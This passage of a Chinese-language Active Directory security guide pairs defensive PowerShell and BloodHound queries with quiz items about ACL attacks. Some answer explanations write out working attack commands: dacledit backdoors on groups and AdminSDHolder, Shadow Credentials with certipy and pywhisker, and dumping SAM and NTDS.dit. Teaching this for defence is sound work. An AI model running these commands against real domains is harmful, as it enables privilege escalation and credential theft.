Get-ADObject "CN=AdminSDHolder,CN=System,DC=sevenkingdoms,DC=local" `
-Properties * | Select-Object dsHeuristics
# 手動觸發 SDProp(需要 Domain Admin 權限)
# 預設每 60 分鐘自動執行一次
自訂受保護的物件:
# 將自訂群組加入受保護清單
Set-ADGroup "VIP-Admins" -Replace @{adminCount=1}
啟用進階審計原則:
# 在 GPO 中啟用
Computer Configuration
→ Windows Settings
→ Security Settings
→ Advanced Audit Policy Configuration
→ DS Access
✓ Audit Directory Service Changes (Success, Failure)
✓ Audit Directory Service Access (Success, Failure)
設定特定物件的 SACL(System ACL):
# 監控 Domain Admins 群組的所有操作
$Identity = "CN=Domain Admins,CN=Users,DC=sevenkingdoms,DC=local"
$Acl = Get-Acl "AD:\$Identity"
# 新增審計規則
$AuditRule = New-Object System.DirectoryServices.ActiveDirectoryAuditRule(
[System.Security.Principal.SecurityIdentifier]"S-1-1-0", # Everyone
[System.DirectoryServices.ActiveDirectoryRights]::GenericAll,
[System.Security.AccessControl.AuditFlags]::Success,
[System.Guid]::Empty
)
$Acl.AddAuditRule($AuditRule)
Set-Acl "AD:\$Identity" -Acl $Acl
使用 BloodHound 進行防禦性分析:
# 1. 定期收集資料(每週一次)
bloodhound-python -u scanner@sevenkingdoms.local -p 'password' \
-d sevenkingdoms.local -dc kingslanding.sevenkingdoms.local \
-c All --zip
# 2. 在 BloodHound 中執行防禦性查詢
重要的 Cypher 查詢:
// 查詢所有通往 Domain Admins 的路徑
MATCH p=shortestPath((n)-[*1..]->(g:Group))
WHERE g.name =~ '(?i)domain admins.*'
AND NOT n.name =~ '(?i)domain admins.*'
AND NOT n.name =~ '(?i)administrator.*'
RETURN p
// 查詢所有 GenericAll 權限
MATCH p=(n)-[r:GenericAll]->(m)
WHERE n.admincount=false
RETURN p
// 查詢所有 WriteDacl 權限
MATCH p=(n)-[r:WriteDacl]->(m)
WHERE n.admincount=false
AND NOT m.admincount=true
RETURN p
// 查詢受保護群組的例外成員
MATCH (u:User)
WHERE u.admincount=true
AND NOT (u)-[:MemberOf*1..]->(g:Group {admincount:true})
RETURN u.name, u.admincount
清理遺留的 ACL 權限:
# 找出所有 adminCount=1 但不在受保護群組的使用者
$ProtectedGroups = @(
"Domain Admins",
"Enterprise Admins",
"Schema Admins",
"Administrators",
"Account Operators"
)
Get-ADUser -Filter {adminCount -eq 1} -Properties adminCount, memberOf |
Where-Object {
$user = $_
$inProtectedGroup = $false
foreach ($group in $ProtectedGroups) {
if ($user.memberOf -match $group) {
$inProtectedGroup = $true
break
}
}
-not $inProtectedGroup
} |
ForEach-Object {
Write-Host "發現遺留的 adminCount: $($_.SamAccountName)"
# Set-ADUser $_ -Replace @{adminCount=0} # 取消註解以執行修復
}
移除危險的 ACL 權限:
# 移除非管理員對 Domain Admins 群組的 GenericAll 權限
$GroupDN = "CN=Domain Admins,CN=Users,DC=sevenkingdoms,DC=local"
$Acl = Get-Acl "AD:\$GroupDN"
foreach ($Access in $Acl.Access) {
if ($Access.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner") {
Write-Host "發現危險權限: $($Access.IdentityReference) - $($Access.ActiveDirectoryRights)"
# $Acl.RemoveAccessRule($Access) # 取消註解以執行移除
}
}
# Set-Acl "AD:\$GroupDN" -Acl $Acl
Tier 0:域控制器與 AD 基礎架構
├── 只有 Domain Admins 可管理
├── 使用專用的管理工作站(PAW)
└── 嚴格的網路隔離
Tier 1:伺服器與服務
├── 使用服務管理員帳號
├── 不可登入 Tier 2 設備
└── 實施 JIT 權限
Tier 2:一般使用者與工作站
├── 一般 IT 支援權限
├── 不可提升至 Tier 1/0
└── 使用委派模型
# 使用 Azure AD Privileged Identity Management (PIM)
# 或自建解決方案:
# 臨時授予權限(8 小時後自動移除)
$User = "support-admin"
$Group = "Server-Admins"
$ExpiryTime = (Get-Date).AddHours(8)
Add-ADGroupMember -Identity $Group -Members $User
# 建立排程任務自動移除
$Trigger = New-ScheduledTaskTrigger -Once -At $ExpiryTime
$Action = New-ScheduledTaskAction -Execute "PowerShell.exe" `
-Argument "-Command Remove-ADGroupMember -Identity '$Group' -Members '$User' -Confirm:$false"
Register-ScheduledTask -TaskName "RemoveJITAccess_$User" `
-Trigger $Trigger -Action $Action
工具 | 用途 | 授權 | 推薦度 |
---|---|---|---|
BloodHound | ACL 路徑視覺化 | 開源 | ⭐⭐⭐⭐⭐ |
PingCastle | AD 健康檢查 | 免費版可用 | ⭐⭐⭐⭐⭐ |
Purple Knight | AD 安全評估 | 免費 | ⭐⭐⭐⭐ |
Microsoft ATA/Defender for Identity | 即時威脅偵測 | 商業授權 | ⭐⭐⭐⭐⭐ |
Splunk/Elastic SIEM | 日誌聚合與分析 | 商業授權 | ⭐⭐⭐⭐ |
Varonis/Netwrix | 檔案與 AD 審計 | 商業授權 | ⭐⭐⭐⭐ |
發現 ACL 攻擊時的處置步驟:
階段 1:立即遏制(Containment)
├── 停用受影響的使用者帳號
├── 重設受影響帳號的密碼
├── 撤銷可疑的 Kerberos 票證
└── 隔離受影響的系統
階段 2:調查分析(Investigation)
├── 收集相關的安全事件日誌
├── 使用 BloodHound 重建攻擊路徑
├── 確認攻擊者的進入點
└── 評估資料外洩風險
階段 3:根除威脅(Eradication)
├── 移除惡意的 ACL 權限
├── 修復 Shadow Credentials(清理 msDS-KeyCredentialLink)
├── 移除攻擊者建立的後門帳號
└── 修補被利用的錯誤配置
階段 4:復原與強化(Recovery & Hardening)
├── 重新檢查所有 ACL 配置
├── 實施本文建議的防禦措施
├── 更新監控規則
└── 對 IT 團隊進行安全培訓
階段 5:經驗學習(Lessons Learned)
├── 撰寫事件報告
├── 更新安全政策
├── 定期演練
└── 持續改進
情境:
你正在分析一個 Active Directory 物件的安全描述符,發現以下訊息:
物件:CN=Administrator,CN=Users,DC=company,DC=local
ACE[1]:
Trustee: IT-Support
Access Mask: 0x00020000
ACE Type: ACCESS_ALLOWED_ACE
問題:這個 ACE 授予 IT-Support 群組什麼權限?
A. ReadProperty - 可讀取物件屬性
B. WriteProperty - 可修改物件屬性
C. ReadControl - 可讀取安全描述符(包含 ACL)
D. WriteOwner - 可變更物件擁有者
正確答案:C
詳細解析:
Access Mask 是用來表示權限的位元遮罩(Bitmask)。0x00020000
對應的權限為:
常見的 Access Mask 值
├── 0x00010000 - DELETE
├── 0x00020000 - READ_CONTROL (ReadControl)
├── 0x00040000 - WRITE_DACL (WriteDacl)
├── 0x00080000 - WRITE_OWNER (WriteOwner)
├── 0x000F01FF - GENERIC_ALL (GenericAll)
├── 0x00000010 - ADS_RIGHT_DS_WRITE_PROP (WriteProperty)
└── 0x00000020 - ADS_RIGHT_DS_READ_PROP (ReadProperty)
ReadControl 權限的意義:
為什麼其他選項錯誤:
0x00000020
0x00000010
0x00080000
實務應用:
# 使用 Impacket dacledit 讀取 ACL
impacket-dacledit -action 'read' \
-target 'Administrator' \
'company.local'/'user':'password'
情境:
你是紅隊成員,成功取得 Domain Admins 群組的 WriteDacl 權限,並為自己的帳號 hacker
新增了 GenericAll 權限。然而,60 分鐘後你發現無法再使用此權限。
問題:最可能的原因是什麼?
A. Windows Defender 偵測到攻擊並自動移除權限
B. 系統管理員發現攻擊並手動移除權限
C. AdminSDHolder 機制的 SDProp 覆蓋了你新增的 ACE
D. Kerberos 票證過期導致無法使用權限
正確答案:C
詳細解析:
AdminSDHolder 運作機制:
每 60 分鐘執行一次(預設)
├── SDProp 背景執行緒啟動
├── 讀取 AdminSDHolder 物件的 ACL
├── 將此 ACL 複製到所有受保護物件
│ ├── Domain Admins 群組
│ ├── Enterprise Admins 群組
│ ├── Schema Admins 群組
│ └── 其成員(adminCount=1)
└── 覆蓋任何手動修改的 ACL
受保護的群組(會被 SDProp 覆蓋):
RID 512 - Domain Admins
RID 519 - Enterprise Admins
RID 518 - Schema Admins
RID 544 - Administrators
RID 548 - Account Operators
RID 549 - Server Operators
RID 550 - Print Operators
RID 551 - Backup Operators
為什麼攻擊失效:
攻擊者的繞過方式:
# ❌ 錯誤:在 Domain Admins 上設定後門(會被覆蓋)
dacledit -action write -rights FullControl \
-principal hacker -target "Domain Admins"
# ✅ 正確:在非受保護的群組上設定後門
# 例如:IT-Admins(自訂群組)
dacledit -action write -rights FullControl \
-principal hacker -target "IT-Admins"
# ✅ 或修改 AdminSDHolder 本身(需要更高權限)
dacledit -action write -rights FullControl \
-principal hacker \
-target "CN=AdminSDHolder,CN=System,DC=company,DC=local"
防禦者的檢查方式:
# 檢查 AdminSDHolder 的 ACL
Get-Acl "AD:\CN=AdminSDHolder,CN=System,DC=company,DC=local" |
Format-List Access
# 檢查 SDProp 最後執行時間
Get-ADObject "CN=AdminSDHolder,CN=System,DC=company,DC=local" `
-Properties * | Select-Object Modified
情境:
你對使用者 john.doe
有 GenericWrite 權限,並且目標環境有部署 AD CS(Active Directory Certificate Services)。你決定執行 Shadow Credentials 攻擊。
問題:Shadow Credentials 攻擊修改的是哪個 LDAP 屬性?
A. userAccountControl
B. servicePrincipalName
C. msDS-KeyCredentialLink
D. altSecurityIdentities
正確答案:C
詳細解析:
Shadow Credentials 攻擊原理:
攻擊流程
├── 1. 產生 RSA 金鑰對(公鑰 + 私鑰)
├── 2. 將公鑰包裝成 Key Credential
├── 3. 寫入目標使用者的 msDS-KeyCredentialLink 屬性
├── 4. 使用私鑰進行 PKINIT 認證(類似憑證登入)
├── 5. 取得目標使用者的 TGT
└── 6. 使用 U2U 協定取得 NT Hash
msDS-KeyCredentialLink 屬性:
攻擊實作:
# 使用 Certipy
certipy shadow auto \
-u attacker@company.local \
-p 'password' \
-account 'john.doe'
# 或使用 pywhisker
pywhisker -d company.local \
-u attacker -p 'password' \
--target john.doe \
--action add
# 結果:取得 .pfx 憑證檔案和密碼
# 使用憑證認證
certipy auth -pfx john.pfx -dc-ip 10.10.10.10
為什麼其他選項錯誤:
A. userAccountControl:
B. servicePrincipalName:
D. altSecurityIdentities:
偵測 Shadow Credentials 攻擊:
# 監控 Event ID 5136(目錄服務物件修改)
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=5136
} | Where-Object {
$_.Message -match "msDS-KeyCredentialLink"
} | Format-List TimeCreated, Message
# 列舉所有有 msDS-KeyCredentialLink 的使用者
Get-ADUser -Filter * -Properties msDS-KeyCredentialLink |
Where-Object {$_.'msDS-KeyCredentialLink' -ne $null} |
Select-Object SamAccountName, msDS-KeyCredentialLink
防禦建議:
msDS-KeyCredentialLink
屬性的變更情境:
你在 BloodHound 中發現以下攻擊路徑:
User: alice@company.local
→ [WriteDacl]
Group: IT-Support@company.local
→ [GenericAll]
User: backup-admin@company.local
→ [AllExtendedRights]
Group: Backup Operators@company.local
→ [MemberOf]
User: Administrator@company.local
問題:從 alice
到 Administrator
需要幾個攻擊步驟?
A. 2 步
B. 3 步
C. 4 步
D. 5 步
正確答案:C
詳細解析:
攻擊路徑拆解:
步驟 1:alice → IT-Support (WriteDacl)
操作:使用 dacledit 給自己授予 GenericAll 權限
工具:impacket-dacledit -action write -rights FullControl \
-principal alice -target "IT-Support"
結果:alice 對 IT-Support 群組有 GenericAll
步驟 2:alice → backup-admin (GenericAll)
操作:使用 Shadow Credentials 或 ForceChangePassword
工具:certipy shadow auto -u alice -account backup-admin
結果:取得 backup-admin 的憑證
步驟 3:backup-admin → Backup Operators (AllExtendedRights)
操作:將自己加入 Backup Operators 群組
工具:net group "Backup Operators" backup-admin /add /domain
結果:backup-admin 成為 Backup Operators 成員
步驟 4:Backup Operators → Administrator (利用 Backup 權限)
操作:利用 Backup Operators 的 SeBackupPrivilege 讀取 SAM/SYSTEM
工具:reg save HKLM\SAM sam.hive
secretsdump -sam sam.hive -system system.hive LOCAL
結果:取得 Administrator 的 NT Hash
每個權限的利用方式:
WriteDacl:
# 修改目標物件的 ACL,給自己授予更高權限
impacket-dacledit -action write \
-rights FullControl \
-principal alice \
-target "IT-Support" \
'company.local/alice:password'
GenericAll:
# 對使用者:Shadow Credentials 或修改密碼
certipy shadow auto \
-u alice@company.local \
-p password \
-account backup-admin
# 對群組:將自己加入群組
ldeep ldap add_to_group \
"CN=alice,..." "CN=IT-Support,..."
AllExtendedRights:
# 包含所有擴展權限,如 AddMember, ForceChangePassword
net group "Backup Operators" backup-admin /add /domain
MemberOf (Backup Operators):
# 利用 SeBackupPrivilege 讀取系統檔案
# 方法 1:直接讀取 SAM
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
# 方法 2:備份 NTDS.dit
wbadmin start backup -backupTarget:C:\Temp -include:C:\Windows\NTDS
為什麼是 4 步而不是其他:
BloodHound 查詢語法:
// 查詢從 alice 到 Administrator 的最短路徑
MATCH p=shortestPath((u:User {name:"ALICE@COMPANY.LOCAL"})-[*1..]->(t:User {name:"ADMINISTRATOR@COMPANY.LOCAL"}))
RETURN p
情境:
你是藍隊成員,剛發現紅隊在滲透測試中使用 ACL 攻擊成功取得域管理員權限。你需要建立長期的監控與防禦機制。
問題:以下哪個措施最不能有效偵測或防禦 ACL 攻擊?
A. 啟用 Event ID 4670(權限變更)的審計並發送至 SIEM
B. 使用 BloodHound 每週掃描一次並分析攻擊路徑
C. 將所有 IT 人員加入 Domain Admins 以統一管理權限
D. 實施即時權限(JIT)管理,限制常駐的高權限帳號
正確答案:C
詳細解析:
為什麼 C 是錯誤做法:
❌ 將所有 IT 人員加入 Domain Admins 的問題
├── 違反最小權限原則(Principle of Least Privilege)
├── 擴大攻擊面:任一 IT 帳號被盜就等於域管理員被盜
├── 無法區分職責:無法追蹤誰做了什麼操作
├── 增加橫向移動風險:攻擊者只要盜取一個 IT 帳號即可
└── AdminSDHolder 會保護這些帳號,反而難以偵測異常 ACL
正確的權限管理方式:
✅ Tiered Administration Model(分層管理模型)
├── Tier 0:Domain Admins(只管理 DC 和 AD)
├── Tier 1:Server Admins(只管理伺服器)
└── Tier 2:Helpdesk(只管理一般使用者)
✅ Role-Based Access Control (RBAC)
├── 使用委派(Delegation)而非直接授予 DA 權限
├── 例如:授予「重設密碼」權限,而不是 GenericAll
└── 使用群組政策(GPO)管理權限
✅ Just-In-Time (JIT) Administration
├── 平時 IT 人員沒有高權限
├── 需要時透過審批流程「租借」8 小時的權限
└── 時間到自動撤銷
為什麼 A 是正確做法:
✅ 啟用 Event ID 4670 的審計
├── 可偵測 WriteDacl 攻擊
├── 可偵測 WriteOwner 攻擊
└── 發送至 SIEM 可關聯分析
範例 SIEM 規則:
IF Event ID 4670
AND Object Type = "User"
AND Access Mask contains "WriteDacl"
AND Subject != "Domain Admins"
THEN Alert: "可疑的 ACL 修改操作"
為什麼 B 是正確做法:
✅ 定期使用 BloodHound 掃描
├── 可視覺化攻擊路徑
├── 可發現複雜的 ACL 鏈(如本文的 8 步攻擊)
├── 可追蹤新增的危險權限
└── 可定期生成報告給管理層
建議流程:
1. 每週執行 SharpHound 收集
2. 匯入 BloodHound 分析
3. 執行預設的危險查詢(如 Shortest Paths to Domain Admins)
4. 產生 PDF 報告
5. 修復發現的問題
為什麼 D 是正確做法:
✅ 實施 JIT 管理
├── 減少常駐的高權限帳號
├── 減少 Pass-the-Hash/Pass-the-Ticket 風險
├── 每次授權都有審計記錄
└── 可與 MFA 結合
實作方式:
# 使用 Azure AD PIM(雲端)
# 或自建 PowerShell 腳本
# 授予 8 小時權限
Grant-TemporaryPermission -User "john.doe" `
-Group "Server-Admins" `
-Duration 8 `
-Approver "manager@company.local" `
-Reason "修復生產伺服器問題 #12345"
# 自動撤銷
Revoke-TemporaryPermission -User "john.doe" `
-Group "Server-Admins"
其他重要的防禦措施:
1. 使用 PingCastle 或 Purple Knight 定期健康檢查
2. 啟用 Protected Users 群組(防止委派攻擊)
3. 設定 Authentication Policies(限制高權限帳號的登入位置)
4. 部署 Microsoft Defender for Identity(即時威脅偵測)
5. 教育訓練:讓 IT 團隊理解 ACL 攻擊的風險
事件回應檢查清單:
□ 檢查所有高權限群組的 ACL
□ 檢查 AdminSDHolder 的 ACL
□ 查詢所有 adminCount=1 的使用者
□ 檢查非受保護群組的危險權限(GenericAll, WriteDacl)
□ 檢查所有 msDS-KeyCredentialLink 不為空的使用者
□ 檢查最近新增的群組成員(Event ID 4728)
□ 檢查最近的密碼變更(Event ID 4724)